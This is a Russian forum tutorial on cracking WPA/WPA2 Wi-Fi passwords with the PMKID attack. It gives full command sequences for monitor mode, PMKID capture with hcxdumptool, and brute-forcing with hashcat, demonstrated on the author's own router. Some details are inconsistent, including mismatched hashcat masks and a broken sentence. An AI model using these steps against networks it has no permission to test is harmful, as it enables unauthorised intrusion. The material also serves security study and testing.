Новый способ взлома Wi-Fi | август 2018

Новый способ взлома Wi-Fi | август 2018

Sam Sepiol

Всем огромный привет, дорогие форумчане. В этой статье я хотел бы рассказать о новом способе взлома пароля к сети Wi-Fi.


Протокол WPA/WPA2 морально и физически устарел, и всё уже давно идет к тому что этот протокол пора обновить! И одним из таких ключевых толчков, стала опубликованная уязвимость в октябре 2017г Mathy Vanhoef, в протоколе WPA2, которая получила название key reinstallation attack (KRACKs). Конечно же, дыры прикрыли где смогли, но именно с этого момента началась разработка нового протокола шифрования WPA3 и Wi-Fi Alliance® уже во всю проводит испытания нового протокола на потенциальные проблемы в протоколе, в рамках которого как раз и был выявлен новый вектор атаки на протокол WPA/WPA2.


Суть метода заключается в том что Вы можете получить идентификатор PMKID (Pairwise Master Key Identifier) в составе ответа EAPOL на запрос аутентификации (PMKID указывается в опциональном поле RSN IE (Robust Security Network Information Element)).


Наличие PMKID позволяет определить разделяемый ключ PSK (Pre-Shared Key, пароль к беспроводной сети) без непосредственного получения вычисленного на его основе PMK (Pairwise Master Key), передаваемого на этапе согласования соединения при успешной аутентификации нового пользователя. Основная разница этой атаки от существующих, в том что нет необходимости захватывать полное "рукопожатие", а достаточно одного кадра EOPOL, ну второе не менее важное - это то что нет необходимости ждать пользователя который подключиться к атакуемой сети, так как атака будет происходить непосредственно на саму AP.


И так для проведения атаки нам будет необходимо:

  1. Linux (в моем случае Linux parrot 4.16.0-parrot16-amd64)
  2. hcxtools (скрипт)
  3. hcxdumptool (скрипт)
  4. Hashcat v4.2.0 (скрипт)


Для начала пройдемся по загрузке и установке:

Hcxtools (аналогично и для hcxdumptool)

git clone ZerBea/hcxtools
cd hcxtools
make
make install


Hashcat v4.2.0


Даже если у Вас уже установлен hashcat, но он ниже версии 4.2.0, то Вам нужно будет его удалить, затем скачать свежую версию и установить, как и я это делал, ну или обновить другим известным для Вас способом т.к. в старых версиях нет метода расшифровки PMKID для WPA/WPA2 (а именно 16800).

git clone hashcat/hashcat
cd hashcat
make
make install * (пояснения внизу)

Всю атаку я буду проводить на своем роутере. Марка Asus RT-N12C1. Прошивка последняя.

I. Переводим наш беспроводной интерфейс в режим монитора:

1 способ

airmon-ng start wlan0 (wlan0 - это Ваш интерфейс, посмотреть можно введя команду ifconfig)
airmon-ng check kill


2 способ

ifconfig wlan0 down
iwconfig wlan0 mode monitor
ifconfig wlan0 up
airmon-ng check kill


II. Запускаем сканирование Wi-Fi сетей

airodump wlan0mon (wlan0 в зависимости от того каким способом пользовались)

мой тестовый Wi-Fi называется "Happy_New_Year"

Сохраняем BSSID нашей тестовой AP БЕЗ ДВОЕТОЧИЙ в файл... я это сделал следующей командой:

echo "60A44C55D7C0" > filter.txt


III. Запускаем Hcxdumptool

hcxdumptool -i wlan0 -o hash --filterlist=filter.txt --filtermode=2 --enable_status=1 

где:

-i wlan0 -имя нашего сетевого интерфейса

-o hash - выходной файл в pcapng формате в котором есть строка PMKID с хешем

--filtermode=2 - указываем что наш filter.txt будет целевым списком

--filterlist=filter.txt - файл с BSSID который мы Вы сохранили

--enable_status=1 - включаем сообщения по маске ( EAPOL,PROBEREQUEST,AUTHENTICATON или ASSOCIATION )

после получения сообщения "FOUND PMKID" мы останавливаем работу скрипта, и как вы можете заметить мне пришло аж сразу 3 сообщения о найденных пакетах в которм содержится строка с хешем PMKID. И так, Hcxdumptool справился со своей задачей и нашел нужный пакет с хешем... идем дальше!


IV Запускаем hcxpcaptool

hcxpcaptool -z hash_crack hash

где:

-z hash_crack - выходной файл, с хешем PMKID очищенной от лишней инфы, для hashcat (hashmod -m 16800). преобразован в обычный текст.

hash - файл в pcapng формате (все собранные пакеты hcxdumptool)

В моем случае он обнаружил 3 пакета, как я уже говорил, и все данные записал в мой текстовый файл hash_crack..... в 3 строки. Как раз эти строки мы и будем расшифровывать в HASHCAT


V. Запускаем HASHCAT

hashcat -m 16800 -a 3 -w 3 hash_crack '?u?s?d23456A' --force 

где хочу только пояснить:

-m 16800 - новый hashmod который появился в версии 4.2.0

?u?s?d?d?d?d?d6A - мой пароль по маске + 2 последних символа которых я знаю из этого пароля

1 день и 4 часа

 проверять я конечно же не буду!), но я добавил ее пару известных символов и перезапустил... вот результат...

пароль был успешно найден)))))


Вывод из всего этого могу сделать только один.... данный метод на голову выше своих предыдущих вариантов атаки, к тому же я посмотрел на скорость которая хоть и не намного выше чем в aircrack-ng, но все же, а если учесть то что у некоторых есть хорошие видеокарты, то это вообще отличное подспорье! к тому же нет больше необходимости ждать юзверя и перехватывать "рукопожатие" + этих скриптов в том что можно это все делать не на одной точке а на нескольких одновременно... добавив в первичный текстовый файл BSSID разных AP.


З.Ы. Трудности с которыми я столкнулся:

  1. наверно единственная была маленькая проблема при переустановке hashcat. После удаления (apt-get remove hashcat), перешел в папку свежескачанного скрипта.....
  2. make
  3. make install

и тут мне выдает ошибку - "include/ext_OpenCL.h:15:10: fatal error: CL/cl.h: No such file or directory #include <CL/cl.h>" , мол нет какой-то папки....так и правильно у меня в принципе не было OpenGL....так что порыскав, в течении пару минут нашел решение - apt-get install opencl-headers, после чего hashcat благополучно заработал!


Статья на форуме codeby.net


Report Page